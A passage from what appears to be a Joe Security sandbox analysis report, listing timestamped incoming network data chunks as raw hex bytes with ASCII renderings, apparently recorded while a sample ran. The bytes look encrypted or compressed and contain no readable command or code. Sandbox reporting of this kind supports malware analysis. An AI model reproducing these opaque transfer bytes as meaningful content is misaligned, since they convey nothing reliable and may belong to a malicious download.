2022-04-25 17:44:43 UTC 17 IN Data Raw: 5e 87 23 f3 d3 48 f8 f3 b7 46 8d 12 da 46 7d 7a 30 1c 9b 66 8f e4 a4 aa 42 e2 52 db ec be 46 07 b9 55 ac 38 6e 64 6b cb 79 d8 17 69 57 df 6a 84 3a cf d8 9a 4d 69 d2 82 89 67 00 50 64 08 d4 9b 06 1a 12 7f 65 81 a9 ef a0 dd 08 cf e6 51 3f 03 55 70 24 ac 48 c1 09 27 41 09 94 8b 03 b5 6f 26 f9 94 c4 3f 79 7a 7f fa ff e1 2a 0d f6 fe 40 48 10 4b 1f 17 91 1c 99 6c 3b 9f 9b 2e ae b1 a9 1a 59 ca 6c 65 83 90 a7 6d 2c d5 58 2f 27 76 6e 7d d5 29 b7 fb c5 c4 bb d6 7c ae e5 d8 5e 25 7f 1e 82 2e 42 30 9f 12 0f 61 6f 74 1a c8 27 32 23 18 0a 6c 5f b6 96 c9 3f f7 3c c0 26 b0 32 08 63 9f aa ae 86 c6 d9 d2 35 fd 6e 6f c7 2b 10 aa 50 58 14 ba a5 7f 6b 29 23 18 74 cd 1f bb 00 3f de ba 6c ce ec 59 85 0e 65 25 e6 0f 83 a7 ed 7d 73 ec 2a b5 64 2c 15 bd 62 e2 d1 3f cc f0 a6 1c 1c Data Ascii: ^#HFF}z0fBRFU8ndkyiWj:MigPdeQ?Up$H'Ao&?yz*@HKl;.Ylem,X/'vn})|^%.B0aot'2#l_?<&2c5no+PXk)#t?lYe%}s*d,b?
2022-04-25 17:44:43 UTC 19 IN Data Raw: ae c9 24 dd 96 29 a7 98 b7 27 90 da 06 a6 2b 2b 8d c8 63 c7 bf ae bc 71 9e 38 e8 f1 e9 97 86 39 f6 30 cd 0f 79 94 e8 7a d6 f7 00 b1 43 b7 ca 2a 3b 01 6b 6b ba 74 b5 20 16 34 fc df ee 68 dd 0b eb 5f 2d ca 67 4e e2 f1 6c 00 d0 8d 4e 9a ec ca 66 85 12 eb 28 e1 5a ca 14 10 5c df 13 68 d7 ab 87 e5 ef 1e ca 59 f8 c4 63 b2 42 85 28 37 66 58 83 08 77 29 0a c1 28 5b 70 97 1d a0 b5 4d 46 5c f8 14 fd 51 87 3a bc a5 69 c6 0e 19 fa db 67 8b b5 4d fe 64 cc 40 e2 83 d9 87 7e e0 30 3b 6e 48 1e 74 a5 22 02 27 4e 0c 4e 4e a2 d6 e8 d8 91 e3 58 6e 83 d4 d6 ba b2 56 03 76 6d 4e dd 53 8c 8e 10 c8 64 21 7e b6 68 25 ce 84 08 b0 e3 00 ea 9f a5 97 31 91 15 6a 51 e0 5b 97 8f 4a 37 13 18 0a a3 31 79 ec 7a 0b d9 0c 8d 6c 06 62 5a 05 f6 2c a3 1d a3 70 c0 bf b1 1a 62 5b a1 3e 97 c5 70 Data Ascii: $)'++cq890yzC*;kkt 4h_-gNlNf(Z\hYcB(7fXw)([pMF\Q:igMd@~0;nHt"'NNNXnVvmNSd!~h%1jQ[J71yzlbZ,pb[>p
2022-04-25 17:44:43 UTC 20 IN Data Raw: 88 b9 7f ab a0 bf d7 ed c6 6c 67 af 84 58 be d1 1c 42 3e 3f 1c 46 83 d4 04 99 dc d1 ec b8 11 83 51 ce b7 03 36 4f 17 5e 27 a6 30 9f 29 1c 6c 56 98 16 f0 46 3f 32 15 02 74 40 60 b4 e5 25 83 7e 28 26 b4 57 00 bc 93 b1 dd 8d c1 c8 db 5d 3a 01 ae cd f7 0b 81 0c 30 fe ba ac 6e 86 20 1e 1a 6a 88 ea b6 00 3c a8 ae 6d e2 e2 61 ae 3f 13 34 fc 77 db a6 c1 75 1f 9a 2a bc 7d c1 1a 80 62 9b 44 18 cc fa 8e f6 ba 31 1b 16 a2 d9 47 8b 59 c7 1c 7b 72 cc 57 71 35 10 38 a7 3a c1 95 09 28 ae e2 41 e2 53 3b 05 c4 0c 45 80 40 39 b0 77 22 63 83 9f 49 df 4b 75 80 a4 d7 c2 9c 78 32 fb 3e 4e fe 88 d2 f9 10 c9 8e 07 7e e0 d0 5c fc c8 b1 d3 98 aa 9e 3a d0 9a d0 f2 3e 6b d7 1b 08 8c 68 3d 9b 3f 08 e3 92 6d 21 3d 45 fe c6 7a e6 d0 e6 4b 03 56 b6 79 cb e8 69 b6 c6 b6 7c db 3b 7a 41 c9 Data Ascii: lgXB>?FQ6O^'0)lVF?2t@`%~(&W]:0n j<ma?4wu*}bD1GY{rWq58:(AS;E@9w"cIKux2>N~\:>kh=?m!=EzKVyi|;zA
2022-04-25 17:44:43 UTC 21 IN Data Raw: d9 14 a0 b1 5d ee 7b fa 14 ff 6d 24 08 bc af ed e5 0e 19 ed 36 d8 88 92 4d fc 7b 96 73 fb ec c6 8c 55 ff 18 2b 7b b6 19 70 84 3a 09 2d c9 13 b0 4f 8a 09 60 d0 91 e4 42 8f f0 cb cd ef b9 7d e0 0c 69 56 df 57 a0 a6 20 f8 66 2b 75 bf 6825 e6 59 89 a2 f5 0b d0 fe d6 a4 28 ef 1b 73 af e5 5f 87 f3 66 31 3b 3f 26 82 21 f2 e5 7d 1c 23 d0 c2 6d 1e 69 58 1d 9f e1 bb 4f a2 76 e8 f5 99 00 66 45 ac 16 b3 de 8e f3 bf 35 46 c0 6c b5 1f f6 4d 26 5f a5 39 c5 e5 ee 55 03 c2 28 bb 85 19 4b 13 59 bb 53 cb 88 b3 b2 bc c6 fc 81 3f d5 57 59 b8 0d 13 75 91 33 83 9d 90 4a fa 3c ee bf 85 5b db 96 82 86 18 6f 64 1f 0e 80 5c fa 8f a1 9a 0f 21 51 9b bb 7b 3f 02 7c 32 c4 a8 1d 94 7a bb 0f d7 d9 3c 39 75 da e3 37 85 d9 58 90 ac eb ab 7b e0 9e ac 57 9f 00 da 86 7d 7a 30 96 a9 74 9b fa Data Ascii: ]{m$6M{sU+{p:-O`B}iVW f+uh%Y(s_f1;?&!}#miXOvfE5FlM&_9U(KYS?WYu3J<[od\!Q{?|2z<9u7X{W}z0t
2022-04-25 17:44:43 UTC 23 IN Data Raw: d4 3e 1b ac 59 8d 3a 2e da e9 8d 40 9c 27 c1 1a a9 d1 4d 92 ae d0 ce 7f 5a c2 5a 6f 32 19 35 5e 2c 13 96 0e 29 9d 66 41 f5 94 37 1d c5 c3 d2 ba 63 01 c0 65 12 60 9c 33 5a d8 4b 56 87 b8 38 d5 a3 75 74 47 3e 4e fa 85 de ee 0f 37 9e 2c 70 60 fe 70 f5 c5 a0 62 99 aa 94 4b c1 9c d0 e9 33 6d cf e1 09 b1 75 22 45 3b 25 e0 8a 56 35 3c 54 f0 f4 90 e6 fc e9 59 47 4c a5 7d d4 f5 7e aa 38 a6 57 df 31 eb 45 e4 b3 df e4 da f6 2e 2e 75 9a 8c 22 16 6b e9 fb ba 7f 11 be c6 86 c5 d7 79 a0 f9 32 1b 53 37 d1 d9 c2 a0 57 31 c6 5f 7b 2a db 71 b9 4e ce e6 f2 a7 1e 55 1c a2 05 47 e3 b8 58 d4 ca 3b 06 dc 47 dd 10 74 d1 b9 5d 5d 98 dd 2b 95 af 51 cc 8f 30 e3 b2 1f 9f fd e7 2f 50 fe c6 2b f9 42 87 68 54 41 93 c1 b3 97 ce 24 cc d0 2a a9 66 b4 0b a8 cb b9 a3 2c a7 95 ca 63 c5 12 b9 Data Ascii: >Y:.@'MZZo25^,)fA7ce`3ZKV8utG>N7,p`pbK3mu"E;%V5<TYGL}~8W1E..u"ky2S7W1_{*qNUGX;Gt]]+Q0/P+BhTA$*f,c
2022-04-25 17:44:43 UTC 24 IN Data Raw: a9 0b a0 f1 b1 1e 4e 0f a8 16 8f df 8e f3 3d 4f 66 c1 68 62 35 d4 4c 26 57 90 06 f4 fe ff 7e 02 c2 26 bb fb 1b 4b 13 0c d1 53 cb 86 19 f5 be a9 da 5d 18 dc 55 22 f3 12 65 42 a0 2b 8a 9d 96 68 f8 20 ec bf 90 43 fc 96 c7 8d 98 66 5e 1f 0a 4c 43 f5 b7 99 99 10 56 62 8a da 7b c1 03 54 0c da 82 3e 93 52 92 0d ac 9a bc 30 71 f2 f3 eb 6e d1 74 c6 b1 fe df 48 f1 f8 5b 56 b3 2f f1 b0 5b 7b 36 b4 aa 7c 98 f0 b0 db 9f e4 52 d1 c4 d1 46 07 b3 f0 a0 2e 7d d9 7a c7 6d 46 cb 6b 57 6f 72 09 3d 75 27 64 a1 62 cf 90 97 58 20 53 48 0c 6e 86 14 05 25 8e 9a 80 83 45 89 51 1c db f2 66 ab 0f 55 72 13 07 b6 c0 2f 14 48 5a 32 8b 03 bb 40 13 cc 9e d5 31 4b 45 4d f0 ec ef 38 29 fb a0 42 42 3e 04 b1 17 97 30 ae c6 37 9f 99 26 55 a1 95 70 f4 e6 65 73 b5 7a 51 8f 2d 0a 62 1e 35 78 1e Data Ascii: N=Ofhb5L&W~&KS]U"eB+h Cf^LCVb{T>R0qntH[V/[{6|RF.}zmFkWor=u'dbX SHn%EQfUr/HZ2@1KEM8)BB>07&UpeszQ-b5x
2022-04-25 17:44:43 UTC 25 IN Data Raw: 7d ca d1 40 ad 38 bd 8e 09 1d 26 44 c2 38 89 e2 db f6 20 47 75 94 87 1d 14 43 d6 fc a0 8b 3a 92 d2 9e e5 d7 79 a0 f9 1a b8 9b 37 d7 42 d6 a1 57 20 db cd 60 5b dc 71 a8 08 d5 18 e2 a3 0f 5d 3c a0 6b 72 e2 90 42 d7 e2 07 2f c8 4c b2 2d 59 dd af 59 d7 c2 cc 2c 8b a8 a6 db bc 2b 76 9b 71 a6 fc e7 0d 4b fc d0 10 d9 51 85 7f 84 f6 39 00 94 87 df 0b d1 d0 32 29 2f b6 f1 87 00 25 ac f5 37 ac 30 62 c7 7b a6 62 65 aa 10 c5 f1 e9 9d 8a 11 1f 01 ce 09 33 bc c6 7a de fd de a0 53 96 e1 31 3a 16 7c 95 bb 58 b7 38 51 78 fb dd 0d 69 f1 08 e7 64 2e cd 53 b0 e3 dd 71 2b d2 b7 af 9a d2 f0 e9 32 30 14 3f 37 ca e9 5a 16 74 e0 6c 5a dd bd 17 80 7b 0c e2 7e 97 17 69 9a b2 ae 5e 42 25 70 ad 0e 5f 63 d4 c1 28 65 f1 b7 1d a0 b1 59 c6 6d e0 0c f9 57 1a 08 bc a4 76 dc 0d 19 28 eb 65 Data Ascii: }@8&D8 GuC:y7BW `[q]<krB/L-YY,+vqKQ92)/%70b{be3zS1:|X8Qxid.Sq+20?7ZtlZ{~i^B%p_c(eYmWv(e
2022-04-25 17:44:43 UTC 26 IN Data Raw: 10 9e 04 f8 b0 9d 7a 36 b4 a2 b8 9b f0 ba b8 ad 1d ad 2e db a5 55 0c b3 57 ab 31 76 91 7b eb 7c f6 dc e7 06 d9 72 08 15 37 d8 9b 54 71 dc 9c 8c 44 de 43 6f 11 7b 74 15 21 27 87 75 85 87 ae b1 cf 16 d9 f4 51 44 03 55 70 63 34 49 c1 09 5a 0e 20 7b 81 1c b1 50 30 e8 8e de 2d b6 6c 42 f2 fb f6 30 01 cf aa 5d 58 e8 62 9d 15 ba 13 89 c9 c5 60 6e 3f 81 b3 89 77 f3 4a 6c 6f b9 3f 59 92 c2 1d 43 06 5c 03 57 7d d5 21 82 09 d5 f8 ca f9 70 b4 e9 b7 0a 3f 81 15 72 59 8d 6d 84 15 1c 65 5b 70 1a e4 27 39 3a 8f 28 60 57 9e bc d1 c1 fc 7f 20 0e f8 39 05 b7 99 a2 ae aa c8 df 21 5b 8c 6c 77 c0 f7 08 b6 b8 2a df ad a3 7d e2 4e 7b 1f 7d a8 f4 d4 4a 34 b1 5a 44 85 e7 4a 9c 09 08 28 f8 60 2c b1 13 76 2b 95 3d b8 65 36 06 52 6d a1 38 14 ce d1 19 70 1a f0 cd 12 af 4e fd b9 9b c5 Data Ascii: z6.UW1v{|r7TqDCo{t!'uQDUpc4IZ {P0-lB0]Xb`n?wJlo?YC\W}!p?rYme[p'9:(`W 9![lw*}N{}J4ZDJ(`,v+=e6Rm8pN
2022-04-25 17:44:43 UTC 28 IN Data Raw: 2e 8c 24 be 8a 2f 00 9d d7 6e c7 74 b1 42 70 a3 31 e0 f2 94 d8 86 39 e1 1e c3 0f 30 8a 16 7b f2 fd 08 a2 28 f1 e1 31 3f 19 75 98 bb 51 ad c6 1c 18 f1 ca 38 88 f1 09 f6 78 fa d6 72 b0 ea ca 90 2a fe a4 b5 94 fa c0 fe cc 3b 3d 2a f6 5d e2 54 0d 55 27 6c 76 d5 80 88 b2 cf e1 35 ac 9f 3d 63 a1 78 ad 5e e8 2f 58 83 45 5f 69 1b d7 22 77 6e a7 1d a0 b1 51 df 93 f9 38 f3 46 2f e9 bc a5 67 c0 07 03 e5 eb 6d 97 6c 4c d2 6d e0 43 9f dd cf 8c 51 e6 3c 3c 71 a8 e1 59 8b 30 0e 3f 34 48 b0 4f 8a cb f6 df 91 ec 57 6e 83 d4 d6 89 bc 7d e8 12 bf 4f f1 5a a1 f0 31 f8 66 2b 88 f9 68 25 e6 9f 04 a1 fd 10 2c e0 89 93 1a bb 0e 7f af e9 68 97 0f 67 1b 19 1b 22 ff 78 72 ec 79 03 2d 01 a1 66 06 97 5b 2e e3 a1 27 31 ab 70 e3 e8 bd 1a 6c 58 54 3f bc d7 89 fb 42 72 46 c0 6c 76 56 f5 Data Ascii: .$/ntBp190{(1?uQ8xr*;=*]TU'lv5=cx^/XE_i"wnQ8F/gmlLmCQ<<qY0?4HOWn}OZ1f+h%,hg"xry-f[.'1plXT?BrFlvV
TimestampkBytestransferred
Direction Data
Copyright Joe Security LLC 2022 Page 29 of 50
2022-04-25 17:44:43 UTC 29 IN Data Raw: 1d 6e b9 7a 46 86 c0 0e 4e 2f 32 1d a9 7c f9 21 a3 93 2b 2b 31 f0 75 bd e1 b7 12 20 66 ea 5f 71 b6 32 e4 56 1c 6c 43 e1 44 c9 21 35 8a 1f 18 6e 5f 9e a4 cc 20 e9 ad 29 0a bf 3a 7e f3 93 bb a7 c5 bb c8 df 50 bf 7b 7c c8 f7 10 a8 59 39 0d bb 89 7a 7a 5a 7c 1e 7d a6 cf a3 01 35 b1 4f 7f dd e3 4a 87 20 03 ca f4 4c 31 b1 ef 0c 4b 97 2a b1 0a 56 1a ac 66 9a e0 2c c8 f6 94 6b 08 26 d0 1f b5 3e 4b a7 4d d3 99 34 5e ce 44 7e 4e 49 24 59 3f fb 95 59 7a 85 75 42 7b 32 5f 76 cc 3d d9 8b 79 3c b0 75 17 7f 8a c7 48 f3 5b 45 fb ea c6 d4 8b 13 55 75 3e 44 f3 97 c9 ee 0d 37 9e 2e 72 8e 01 5d d0 ca b2 a3 87 bb 87 50 d2 8a d5 e7 22 8c c5 33 03 9f 78 57 2b 3e 24 e4 95 69 36 38 54 eb d9 9b ed 02 e2 4c 7d 4f a7 06 87 f9 6d a9 30 d8 3a c1 3d 1f 2b 53 b8 a1 d6 c5 fd 39 38 73 94 Data Ascii: nzFN/2|!++1u f_q2VlCD!5n_ ):~P{|Y9zzZ|}5OJ L1K*Vf,k&>KM4^D~NI$Y?YzuB{2_v=y<uH[EUu>D7.r]P"3xW+>$i68TL}Om0:=+S98s
2022-04-25 17:44:43 UTC 30 IN Data Raw: b7 45 07 0c b1 8e 76 ef 75 40 e9 eb 61 95 a1 5d fc 1f a9 40 e2 96 d9 9b 26 88 31 3c 73 bb 34 5a b1 10 29 d8 b6 1a b0 c2 a1 d4 ff d2 9b e6 3b de 82 f8 d0 92 cb 23 e0 08 45 58 b2 25 a7 8e 09 de 65 5a ae b6 68 21 e9 af 2e a8 f3 1d d5 e7 2b 20 5b b9 66 72 af eb c0 f1 cc 67 37 19 0f 23 86 2d 64 fd 78 73 53 0d a1 64 19 78 5f ba 85 08 a9 36 bd 1c d8 24 b5 75 1e 45 aa 34 93 a5 d7 f9 3f 38 58 f3 6e 61 35 6b 4d 26 57 ad 66 f6 e7 a0 5f 03 ed 2c 93 9e 4d 4b 15 60 eb fc cb 82 39 b7 be c5 f0 33 8d d6 57 5f 96 1e 61 4e e7 05 8a 9d 9a 1f c5 2b 32 ae 87 67 a9 80 89 52 92 6e 48 19 02 32 08 f9 8f ab 44 17 7c 62 83 d5 72 3f 00 78 1c d9 b7 3e 92 58 98 0f d7 d3 a7 00 70 da e1 eb 6e db 0f 90 ae e5 d1 18 82 ae a5 57 9b 71 52 98 7f 7b 1b b5 a2 8e 9a f0 b6 f1 86 e3 52 db be ad 16 Data Ascii: Evu@a]@&1<s4Z);#EX%eZh!.+ [frg7#-dxsSdx_6$uE4?8Xna5kM&Wf_,MK`93W_aN+2gRnH2D|br?x>XpnWqR{R
2022-04-25 17:44:43 UTC 31 IN Data Raw: 81 8b 78 07 30 d9 75 dd c0 4a 81 4f c2 f1 7c 5e df 46 63 25 e7 25 75 19 ef ec 6c 2a 85 71 44 f6 fe 51 02 cc 39 bc 09 6a 39 b6 4c 6e 61 83 33 5f c5 24 33 80 a4 cc cb 9e 6f 0c 74 2f 48 e8 76 c2 d1 0b 20 9c 2d 6d 8f f9 43 eb 32 98 03 9a 81 91 6d 5d 66 2f 07 1e 72 c4 0c 38 99 6c 9f 66 3e 24 ba 8a 7e 34 2b 47 fc e4 23 e4 fc e3 60 7a 4b ba 71 35 f8 41 a4 00 21 50 c0 3d 0a 49 db be a1 c1 dc e9 3c c3 72 a9 9b 33 6a 25 f8 fc a4 87 9e 25 65 a6 9e d6 78 aa ef 02 64 26 37 db fb c9 b6 44 3d eb d8 66 26 cb 8f a9 65 c2 1a 88 c5 0b 5d 38 b0 2c 3c e2 90 42 c3 d2 5e 5a c8 46 d7 05 40 ce a3 4e 4b 9e d0 d2 8b 89 bf c5 a0 5d b1 92 1e 9a 92 b5 07 40 f5 cd 3c c2 50 86 79 58 73 27 20 b9 a8 d3 26 a6 99 35 a7 9c b2 a9 27 6c 97 dd 2a 2b 8e dc 7b a8 09 ac bc 7b 90 2d fb f7 e9 86 80 Data Ascii: x0uJO|^Fc%%ul*qDQ9j9Lna3_$3ot/Hv -mC2m]f/r8lf>$~4+G#`zKq5A!P=I<r3j%%exd&7D=f&e]8,<B^ZF@NK]@<PyXs' &5'l*+{{-
2022-04-25 17:44:44 UTC 33 IN Data Raw: 3e 9a c8 94 96 4b 3c 46 ca 77 7a 49 f1 4d 37 59 a1 b2 f7 d0 88 5e 78 8c 2c 93 9a 04 67 7f 59 e5 52 cb 88 25 a5 d3 b2 f8 5c 12 ca 44 5d ba 03 61 59 83 b3 8b b1 b9 4c a9 6e ec bf 87 71 83 da 82 8c 9c 09 0d 1e 0a 57 3f fb f4 f0 98 10 52 b4 aa b8 73 3f 08 6e 04 b6 de 1d 92 58 87 03 c4 d7 bc 21 71 c5 fd 14 6f f7 4c 92 d5 ba d3 48 fd e7 b3 50 11 b3 9d ec 7f 7a 3c a1 91 67 9f f0 a1 86 cd 1c 53 fd c7 b7 55 03 b3 57 a4 31 72 91 7b eb 7a f2 b0 25 57 d9 76 1f 15 b3 d9 9b 54 6d d9 ff eb 4f de 58 7b 1e 65 8e 14 1c 3e 9a 7d 7f ae 61 ab cd 67 95 f2 79 a3 04 db cd ba 23 33 c0 03 3f 5c 39 14 ff 03 bf 49 24 f2 8c d1 3b 59 69 71 e9 12 e4 17 7f dc da 0c 48 16 67 ae 1b 1c 39 b1 cb 3a 92 98 2b 8b 5f b9 75 f3 56 65 78 99 85 59 92 d3 97 47 26 17 fc 57 7d d5 b4 92 ee f4 2b ce ef Data Ascii: >K<FwzIM7Y^x,gYR%\D]aYLnqW?Rs?nX!qoLHPz<gSUW1r{z%WvTmOX{e>}agy#3?\9I$;YiqHg9:+_uVexYG&W}+
2022-04-25 17:44:44 UTC 33 IN Data Raw: 68 b2 00 4e 59 3b 25 36 41 18 cb 00 8e d4 fb bc c3 e4 40 9a 89 e7 c3 82 b4 7d f1 0c 5e 47 23 56 8a 99 01 83 28 21 f5 b2 7e 0d 9e 85 08 ab e3 11 bd 95 a5 97 3b 8e 18 60 ab e1 66 9a e7 98 36 3f 1f 31 91 2f 72 fd 79 03 3c f3 a0 42 1c 42 5f 3a db 2e 5d ce 81 76 e8 f1 a2 2a 61 45 e5 3d 90 de d3 f9 3f 2d 50 d3 60 50 1b f6 4d 26 5d ab 44 e9 ea 6e 5d 2f d3 2f c3 e5 42 4b 15 75 86 13 62 82 33 bb a3 d1 eb 54 18 c7 5f 46 b3 ec 64 6a 9a 4f f1 d3 90 4e d6 37 fb cc f0 72 f8 9c 8e 93 92 75 6c 1f 1b 55 4a da 71 a0 b4 1c 54 61 86 aa ec 3f 02 7e 05 fd b9 15 92 43 90 10 f6 2d bd 1c 65 d8 9c a4 6e db 5c 99 c1 74 d2 48 f3 ff 87 44 97 04 e3 90 60 74 c8 bf a6 79 93 f6 a6 85 b5 96 52 d1 ce b0 49 14 bb 46 b1 26 62 63 84 c6 41 fb da 6e 50 61 a5 1a 38 d0 d5 88 56 7b d2 98 82 b1 df Data Ascii: hNY;%6A@}^G#V(!~;`f6?1/ry<BB_:.]v*aE=?-P`PM&]Dn]//BKub3T_FdjON7rulUJqTa?~C-en\tHD`tyRIF&bcAnPa8V{
2022-04-25 17:44:44 UTC 35 IN Data Raw: 8f 6e 55 fd 85 21 0a d1 c3 d2 ba 66 3a af 7b 4d 78 5a bd 5a d9 55 54 88 a4 d7 dc 90 77 f4 75 12 45 d6 c3 c3 fd 02 24 8a 34 61 8d f7 5c ed c4 87 d1 99 86 9d 44 d6 8d fe 10 2b 7b d7 17 08 8c 64 3c 9b 3f 08 e3 9d 6d 2d 3d 45 f2 c3 8a 19 fd cf 62 40 48 9d 9d 35 06 92 bc 3d 9d 50 d3 0d 16 44 75 b9 a1 d0 85 f6 2a 2c 65 89 b9 9e 10 6b f8 fc a8 9e 1e 6c d2 a2 fe d4 04 c1 f9 1a 0f 7a bf da f1 dc 89 2a 3a eb c3 66 26 ec 1e 5a 49 d5 12 ec 84 07 5d 34 b9 08 b9 e2 bc 59 c2 e2 4a 2f c8 4c db 05 74 b2 57 4e 5a 92 d3 21 86 a5 a7 d2 b3 d8 ea be 05 9d 81 85 07 40 fb ee a9 d0 56 8c 40 23 6d 33 d4 be 9b 89 4b 2f d7 35 ad 87 a4 2b 90 d2 a1 58 2a 07 92 c9 18 9b 7d ac b8 59 f2 39 e8 fb ef 88 92 56 17 00 ce 05 26 9d e4 7a d6 eb fe a1 79 ad fe 29 13 7d 7d 95 b1 5e a8 32 72 c6 fb Data Ascii: nU!f:{MxZZUTwuE$4a\D+{d<?m-=Eb@H5=PDu*,eklz*:f&ZI]4YJ/LtWNZ!@V@#m3K/5+X*}Y9V&zy)}}^2r
2022-04-25 17:44:44 UTC 36 IN Data Raw: 05 15 71 9c 50 b0 db 33 bb b8 ee 83 5d 18 dc 41 41 d5 66 65 46 82 56 81 9d 97 52 2c 21 c0 a5 81 08 b6 96 82 88 9b 1d 04 1f 0a 59 7d 85 8e a1 92 06 4c 0d f6 c5 72 35 1f 73 1a de b3 e3 93 7e 8e 0d ac 9d bc 30 71 d9 9c b7 6e db 5c 8e c4 22 bc 37 f8 e0 af 4d 94 04 f5 87 76 84 37 92 85 76 e0 be b0 82 de e4 3d ae c5 af 4c 18 b9 4d a0 29 63 91 7b eb 4c f2 b0 25 57 d9 76 0b 3e b4 83 9b 5e 7f ac 0c 9f 4f d8 7a 18 0f 76 80 02 17 55 f1 64 81 a5 52 b8 c4 1c dc ea 87 a6 2f 5b 78 77 45 48 c1 07 5a 15 20 7b 81 09 a6 48 3b ef 84 2b 3a 64 7a 6c 8a a2 e5 3b 05 dd da 1f 48 16 67 ae 19 fb c0 de b4 3a 9f 9b 21 a0 a0 be 63 0d cb 40 6d ae 71 59 95 cc 01 b0 3f 1b 01 7c 78 ed cf 65 08 2b fe ce ef 7c bd d4 b3 03 a8 7f 14 5e 3f a6 30 8e 0e 0f 68 7f e1 1b c8 21 3f 23 11 19 83 5b b2 Data Ascii: qP3]AAfeFVR,!Y}Lr5s~0qn\"7Mv7v=LM)c{L%Wv>^OzvUdR/[xwEHZ {H;+:dzl;Hg:!c@mqY?|xe+|^?0h!?#[
2022-04-25 17:44:44 UTC 37 IN Data Raw: a0 fd 32 9e 53 37 d1 f3 d3 2f e0 46 52 c9 60 3d de 73 d3 f0 d5 18 f7 a3 9f 5c 3c ac 79 ff e3 90 4c ff ca 31 3d f8 44 dd 27 59 dd a5 2b 5a 98 dd 3a 99 a1 97 e2 a2 26 eb 92 0f 9a e5 19 06 6c eb c4 5a 63 56 86 6c 20 7d 32 de b2 ac d3 25 dd dd 3f be 8b b1 27 81 de a2 58 2a 07 8a c8 18 71 7d ac b8 59 19 39 e8 fb f7 84 82 39 f4 04 d5 f1 38 b8 fc 78 a5 41 00 a0 51 c2 f0 30 3b 0c 54 8f ba 58 bd 33 01 27 ff c9 01 6d ee 03 02 55 01 c2 7d cb 57 dd 6e 2f fa 30 ac 99 f0 d6 e3 21 3e 11 39 e5 4a 1c 5c 3e 52 db 16 e8 d7 ab 89 a2 33 1f ca 59 8c 04 67 b2 59 ab 41 4f d1 59 af 1b 5d 12 b2 c1 2e 4b 8e b6 1c a0 bb 71 dc 6c f8 1e f4 5a 0b 1b b8 a5 7c e8 11 14 17 ea 49 84 90 36 46 64 e7 44 ca 04 ce 8c 5f e4 3e 2f 7d b6 0e 5c bb c4 08 0b 4f 1d 9c 69 93 c7 fb d3 80 e0 57 6e 83 d4 Data Ascii: 2S7/FR`=s\<yL1=D'Y+Z:&lZcVl }2%?'X*q}Y998xAQ0;TX3'mU}Wn/0!>9J\>R3YgYAOY].KqlZ|I6FdD_>/}\OiWn
2022-04-25 17:44:44 UTC 39 IN Data Raw: 59 18 35 d8 49 8d 70 70 e3 92 9f 4f 5e 58 b9 12 77 8a 14 03 3e a9 4d 82 87 9c b1 cf 1a c2 c1 59 a9 07 56 15 d5 0b 48 c7 10 31 5b 25 56 8c 19 b5 9e c1 e8 9f d5 2a 4c 02 7b f1 ec ef c5 0a df a1 40 5f 15 4b 60 17 91 10 b2 cf 13 49 91 3d ad cf 61 75 f3 c0 4a 6d b1 15 82 92 d3 01 43 37 29 2c 5c 5d d0 28 9b 77 de 09 0d ef 7c ae ec a1 92 3e 51 1f 7e 58 a6 30 1f 12 c1 de 47 8e 1b c0 36 ae 2c 24 09 5d 5f 9e b5 49 35 20 f2 28 26 b0 30 12 2c 85 95 aa a2 d6 59 d5 87 32 6e 6f cd ff 19 3c 50 05 f8 9a a0 75 78 a1 38 c3 fc a2 f6 bb 08 2c 20 47 42 da ee 53 07 3c 30 3a fd 79 b4 bd c3 7f 27 92 2a b5 e5 35 c5 cb 64 94 ab 34 cb ed b9 75 04 39 cb 34 84 e0 4f 8b 50 51 e8 a4 0c c9 5a 4f 38 10 3b 4f 15 f1 b7 27 2a 85 f5 4c 2b c4 38 18 5d 2e d6 9f 77 28 b5 b2 3c 68 a3 3c 49 df cb Data Ascii: Y5IppO^Xw>MYVH1[%V*L{@_K`I=auJmC7),\](w|>Q~X0G6,$]_I5 (&0,Y2no<Pux8, GBS<0:y'*5d4u94OPQZO8;O'*L+8].w(<h<I
TimestampkBytestransferred
Direction Data
Copyright Joe Security LLC 2022 Page 30 of 50
2022-04-25 17:44:44 UTC 40 IN Data Raw: e3 1a 39 2d 9f 83 91 58 a4 08 1f 34 d3 c9 10 69 f7 09 fc 45 3b c6 54 ab e3 da 79 d5 d3 8a af 81 f1 c9 ef 24 c4 10 04 e3 47 e9 5d 15 44 27 6c 76 d5 80 8f a1 46 1c b1 94 97 17 67 98 6a ad 5d 39 e8 58 83 0a 75 69 0a c1 3d 7f f2 a7 35 a0 b1 59 b7 6d f8 05 ef 4e 2c 13 bc a2 7a 12 0f 35 eb f3 6e 8b 95 5b 00 65 cb 42 f5 99 cf 8b 4d 05 31 10 7b 9d 1d 73 44 38 72 ef 49 1a b4 65 ac d6 fc ae 59 e4 40 94 a8 f8 d4 91 a3 4d e5 08 5b 4e dd 57 d4 8e 03 e9 64 36 78 98 68 25 e0 8e 0e b7 f6 0f a1 0c a5 97 37 33 14 76 87 05 77 9e f7 4c 37 13 0f 16 85 2b 6c ec 7d 1c 55 0d a1 7f 1c 7e d7 2c eb d2 a0 3b ad 60 eb f5 b4 14 60 36 44 3e 90 d8 2c ff 31 39 6e 24 68 68 5c df 4d 26 4e 8a 4f f6 42 90 5c 03 c2 2c 93 9e 19 63 02 71 98 59 c9 94 4e 77 bc c6 fc 5e 0e ab 9a 59 ba 16 67 45 f5 Data Ascii: 9-X4iE;Ty$G]D'lvFgj]9Xui=5YmN,z5n[eBM1{sD8rIeY@M[NWd6xh%73vwL7+l}U~,;``6D>,19n$hh\M&NOB\,cqYNw^YgE
2022-04-25 17:44:44 UTC 41 IN Data Raw: 5b 45 8e 1b e6 21 3f 32 08 02 7d 5b 9c b5 c9 3f e9 53 28 26 e1 3a 05 bd f6 b9 a3 aa dd c8 df 5a a0 6e 6f cd ec 31 a5 46 2d f7 ba a5 00 78 21 23 1d 69 f3 f2 ae 54 30 a5 01 62 ca f0 18 98 20 0a 65 e1 6b 27 b5 ec 79 01 bf c2 b5 65 39 36 ae 7a a7 49 68 cc fa 80 72 0a 31 4c 40 a9 c0 4b 98 43 c0 f1 6c 41 c4 dd 6d 26 76 1c 58 3b e7 84 37 3c 96 61 6d bc 94 25 13 d8 a7 c0 90 7b 3f a7 e9 48 60 83 38 5a c9 5a 51 96 bb cb 49 9e 6a 65 db 3f 4e f4 e7 c4 fc 08 3d 99 1a 70 98 ee 5a eb 41 c3 2f 98 ab 87 42 c3 8c c6 e7 39 ef d5 08 67 32 6d 2a 6f 51 7f e0 8a 74 34 29 43 2c cf 90 f6 e8 f2 75 e5 fa 97 d2 cd ef 02 1d 39 b7 5a d7 b0 4f 44 